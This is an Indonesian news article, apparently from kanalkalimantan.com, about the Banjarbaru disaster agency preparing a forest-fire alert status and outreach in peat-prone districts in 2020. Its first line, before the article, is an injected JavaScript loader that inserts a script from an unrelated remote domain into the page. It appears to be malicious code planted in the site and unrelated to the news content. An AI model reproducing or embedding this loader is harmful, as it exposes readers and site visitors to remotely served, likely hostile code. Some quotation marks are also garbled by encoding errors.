(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Di tengah hadapai wabah Covid-19, Badan Penganggulangan Bencana Daerah (BPBD) Kota Banjarbaru masih mendapati tugas yang tak kalah penting.
Yaitu antisipasi bencana alam Kebakaran Hutan dan Lahan (Karhutla) yang setiap tahun selalu mengintai.
Kepala BPBD Kota Banjarbaru Zaini Syahranie mengakui, antisipasi Karhutla memang menjadi perhatian serius pemerintah provinsi maupun pusat. BPBD Banjarbaru berencana akan menetapkan status siaga Karhutla di Banjarbaru.
“Awal Agustus, Banjarbaru akan ditetapkan dalam status siaga Karhutla. Sekaligus juga kita akan melaksankan gelar apel pasukan, melibatkan Polri dan TNI,†ujarnya, Sabtu (25/7/2020).
Jelang penetapan status siaga Karhutla, kata Zaini, pihaknya saat ini terus menggalakan sosialisasi di tingkat kecamatan hingga kelurahan se Banjarbaru. Sosialisasi juga dilakukan melalui pemasangan banner maupun di sosial media.
Baca juga: Setor SK Rekomendasi, Langkah PAN Ambil ‘Panggung’ di Koalisi Pendukung Sahbirin!
“Sosialasi sangat masif kita lakukan khususnya di titik-titik yang rawan terjadi Karhutla. Contohnya, seperti di kawasan Guntung Damar, Kecamatan Cempaka, Kecamatan Landasan Ulin, Kecamatan Liang Anggang dan Kelurahan Guntung Manggis,†sebutnya.
Wajar saja, sebab di wilayah-wilayah tersebut terdapat area lahan gambut yang menyebabkan api sulit dipadamkan. Bahkan, jika melihat bencana tahun-tahun sebelumnya, titik api telah menyala di area lahan gambut, maka pemadamann membutuhkan waktu hingga mencapai 3-4 bulan lamanya.
Selain sosialasi, BPBD Banjarbaru juga telah menyiapkan tim armada dan sarana yang akan difungsikan untuk melakukan pemadaman. BPBD juga akan merekrut para Barisan Pemadaman Kebarkaran (BPK) swasta untuk berkerjasama melakukan penanganan Karhutla.
“Khususnya mereka yang mempunyai armada tangki. Saya yakin BPK adalah orang-orang sosial. Tentu kita akan memberikan kontribusi terjadap mereka, tapi itu nanti akan kita bicarakan bersama. Yang penting, misi kita di tahun ini tidak ada asap pekat,†tegas Zaini. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.